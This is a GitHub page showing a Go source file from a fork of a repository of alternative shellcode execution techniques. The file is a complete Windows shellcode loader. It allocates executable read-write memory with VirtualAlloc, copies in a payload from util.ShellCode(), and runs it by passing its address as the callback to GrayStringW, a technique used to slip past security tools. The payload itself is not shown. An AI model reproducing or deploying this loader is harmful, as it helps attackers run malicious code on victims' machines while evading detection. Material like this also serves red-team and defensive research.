forked from xiecat/AlternativeShellcodeExec-Go
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathGrayString.go
More file actions
40 lines (33 loc) · 841 Bytes
/
Copy pathGrayString.go
File metadata and controls
40 lines (33 loc) · 841 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main
import (
"AlternativeShellcodeExec/pkg/util"
"fmt"
"syscall"
"unsafe"
)
const (
MEM_RESERVE = 0x2000
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
)
func Run(op []byte) {
// 为存储 op 分配内存
kernel32, _ := syscall.LoadDLL("kernel32.dll")
virtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
addr, _, _ := virtualAlloc.Call(0, uintptr(len(op)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
// Process op array
for i := range op {
*(*byte)(unsafe.Pointer(addr + uintptr(i))) = op[i]
}
user32 := syscall.NewLazyDLL("user32.dll")
grayStringProc := user32.NewProc("GrayStringW")
// 调用 GrayString
ret, _, err := grayStringProc.Call(
0, 0, addr, 1, 2, 3, 4, 5, 6)
if ret == 0 {
fmt.Println("GrayString error:", err)
}
}
func main() {
Run(util.ShellCode())
}